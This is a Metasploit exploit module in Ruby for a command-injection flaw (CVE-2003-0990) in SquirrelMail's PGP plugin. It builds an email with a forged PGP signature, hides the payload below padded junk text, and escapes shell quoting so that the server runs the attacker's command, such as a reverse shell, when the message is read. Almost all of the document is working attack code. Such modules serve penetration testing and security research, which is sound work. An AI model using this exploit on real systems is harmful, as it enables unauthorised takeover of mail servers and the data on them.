SquirrelMail PGP Plugin Command Execution (SMTP)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  #
  # This module sends email messages via smtp
  #
  include Msf::Exploit::Remote::SMTPDeliver

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SquirrelMail PGP Plugin Command Execution (SMTP)',
      'Description'    => %q{
          This module exploits a command execution vulnerability in the
        PGP plugin of SquirrelMail. This flaw was found while quickly
        grepping the code after release of some information at
        http://www.wslabi.com/. Later, iDefense published an advisory ....

        Reading an email in SquirrelMail with the PGP plugin activated
        is enough to compromise the underlying server.

        Only "cmd/unix/generic" payloads were tested.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Nicob <nicob[at]nicob.net>' ],
      'References'     =>
        [
          ['CVE', '2003-0990'],
          ['OSVDB', '3178'],
          ['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'],
          ['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'],
        ],
      'Stance'         => Msf::Exploit::Stance::Passive,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => '',
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',
            }
        },
      'Targets'        =>
        [
          [ 'SquirrelMail PGP plugin < 2.1', {} ],
        ],
      'DisclosureDate' => '2007-07-09',
      'DefaultTarget' => 0))

  end

  def mime_defaults()
    self.header.set("MIME-Version", "1.0")
    self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1")
    self.header.set("Subject", '') # placeholder
    self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z"))
    self.header.set("Message-ID",
      "<"+
      Rex::Text.rand_text_alphanumeric(rand(20)+40)+
      "@"+
      Rex::Text.rand_text_alpha(rand(20)+3)+
      ">"
      )
    self.header.set("From", '')    # placeholder
    self.header.set("To", '')      # placeholder
  end

  def exploit

    body =
      # Display some junk
      rand_text_alphanumeric(rand(128)+16) + "\n" +
      rand_text_alphanumeric(rand(128)+16) + "\n" +
      rand_text_alphanumeric(rand(128)+16) + "\n" +
      rand_text_alphanumeric(rand(128)+16) + "\n" +
      rand_text_alphanumeric(rand(128)+16) + "\n" +
      rand_text_alphanumeric(rand(128)+16) + "\n" +

      # Scroll down
      "\n" * (rand(100)+35) +

      # Escape filter and insert payload
      "AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n"

    sig =
      "-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " +
      rand_text_alphanumeric(rand(20)+54) + "\n" +
      rand_text_alphanumeric(rand(20)+34) + "\n" +
      "-----END PGP SIGNATURE-----\n"

    msg = Rex::MIME::Message.new
    msg.extend(MessageExtend)
    msg.mime_defaults
    msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
    msg.to = datastore['MAILTO']
    msg.from = datastore['MAILFROM']

    msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil)
    msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc")

    send_message(msg.to_s)

    print_status("Waiting for a payload session (backgrounding)...")
  end
end